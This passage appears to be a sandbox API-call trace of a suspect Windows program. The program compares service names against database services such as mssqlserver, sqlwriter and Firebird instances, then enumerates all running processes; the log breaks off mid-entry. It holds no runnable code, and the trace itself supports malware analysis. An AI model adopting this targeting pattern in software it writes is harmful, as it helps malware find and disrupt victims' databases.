[0171.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0171.325] lstrlenW (lpString="nsi") returned 3 [0171.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0171.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0171.325] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0171.325] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0171.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0171.325] lstrlenW (lpString="PcaSvc") returned 6 [0171.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0171.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0171.325] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0171.325] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0171.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0171.325] lstrlenW (lpString="PlugPlay") returned 8 [0171.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0171.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0171.326] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0171.326] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0171.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0171.326] lstrlenW (lpString="Power") returned 5 [0171.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0171.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0171.326] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0171.326] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0171.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0171.326] lstrlenW (lpString="ProfSvc") returned 7 [0171.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0171.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0171.326] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0171.326] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0171.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0171.326] lstrlenW (lpString="RpcEptMapper") returned 12 [0171.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.327] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0171.327] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0171.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0171.327] lstrlenW (lpString="RpcSs") returned 5 [0171.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0171.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0171.327] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0171.327] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0171.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0171.327] lstrlenW (lpString="SamSs") returned 5 [0171.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0171.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0171.327] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0171.327] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0171.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0171.327] lstrlenW (lpString="Schedule") returned 8 [0171.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0171.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0171.328] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0171.328] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0171.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0171.328] lstrlenW (lpString="SecurityHealthService") returned 21 [0171.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0171.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0171.328] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0171.328] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0171.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0171.328] lstrlenW (lpString="SENS") returned 4 [0171.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0171.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0171.328] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0171.328] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0171.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0171.328] lstrlenW (lpString="ShellHWDetection") returned 16 [0171.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.328] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0171.329] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0171.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0171.329] lstrlenW (lpString="Spooler") returned 7 [0171.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0171.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0171.329] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0171.329] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0171.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0171.329] lstrlenW (lpString="SSDPSRV") returned 7 [0171.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0171.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0171.329] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0171.329] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0171.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0171.329] lstrlenW (lpString="StateRepository") returned 15 [0171.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0171.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0171.329] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0171.329] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0171.330] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0171.330] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0171.336] Process32FirstW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.336] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0171.337] lstrlenW (lpString="System") returned 6 [0171.337] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0171.338] lstrlenW (lpString="smss.exe") returned 8 [0171.338] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.339] lstrlenW (lpString="csrss.exe") returned 9 [0171.339] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0171.340] lstrlenW (lpString="wininit.exe") returned 11 [0171.340] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.341] lstrlenW (lpString="csrss.exe") returned 9 [0171.341] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0171.342] lstrlenW (lpString="winlogon.exe") returned 12 [0171.342] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0171.342] lstrlenW (lpString="services.exe") returned 12 [0171.342] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0171.343] lstrlenW (lpString="lsass.exe") returned 9 [0171.343] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.344] lstrlenW (lpString="svchost.exe") returned 11 [0171.344] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0171.345] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0171.345] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0171.346] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0171.346] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.346] lstrlenW (lpString="svchost.exe") returned 11 [0171.346] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0171.347] lstrlenW (lpString="dwm.exe") returned 7 [0171.347] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.348] lstrlenW (lpString="svchost.exe") returned 11 [0171.348] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.348] lstrlenW (lpString="svchost.exe") returned 11 [0171.348] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.349] lstrlenW (lpString="svchost.exe") returned 11 [0171.349] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.350] lstrlenW (lpString="svchost.exe") returned 11 [0171.350] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.351] lstrlenW (lpString="svchost.exe") returned 11 [0171.351] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.351] lstrlenW (lpString="svchost.exe") returned 11 [0171.351] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.352] lstrlenW (lpString="svchost.exe") returned 11 [0171.352] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.353] lstrlenW (lpString="svchost.exe") returned 11 [0171.353] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.353] lstrlenW (lpString="svchost.exe") returned 11 [0171.353] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0171.354] lstrlenW (lpString="spoolsv.exe") returned 11 [0171.354] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.355] lstrlenW (lpString="svchost.exe") returned 11 [0171.355] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.355] lstrlenW (lpString="svchost.exe") returned 11 [0171.355] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0171.356] lstrlenW (lpString="audiodg.exe") returned 11 [0171.356] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0171.357] lstrlenW (lpString="sihost.exe") returned 10 [0171.357] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.357] lstrlenW (lpString="svchost.exe") returned 11 [0171.357] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0171.358] lstrlenW (lpString="taskhostw.exe") returned 13 [0171.358] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0171.359] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0171.359] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0171.360] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0171.360] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0171.360] lstrlenW (lpString="explorer.exe") returned 12 [0171.360] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0171.361] lstrlenW (lpString="Memory Compression") returned 18 [0171.361] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0171.362] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0171.362] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0171.362] lstrlenW (lpString="SearchUI.exe") returned 12 [0171.362] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0171.363] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0171.363] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0171.364] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0171.364] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0171.364] lstrlenW (lpString="taskhostw.exe") returned 13 [0171.364] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0171.369] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0171.369] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0171.370] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0171.370] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0171.371] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0171.371] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0171.371] lstrlenW (lpString="conhost.exe") returned 11 [0171.371] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0171.372] lstrlenW (lpString="screensaver.exe") returned 15 [0171.372] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0171.373] lstrlenW (lpString="upperarc.exe") returned 12 [0171.373] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0171.373] lstrlenW (lpString="buying.exe") returned 10 [0171.373] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0171.374] lstrlenW (lpString="downloadable.exe") returned 16 [0171.374] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0171.375] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0171.375] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0171.375] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0171.375] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0171.376] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0171.376] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0171.377] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0171.377] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0171.377] lstrlenW (lpString="moments.exe") returned 11 [0171.377] Process32NextW (in: 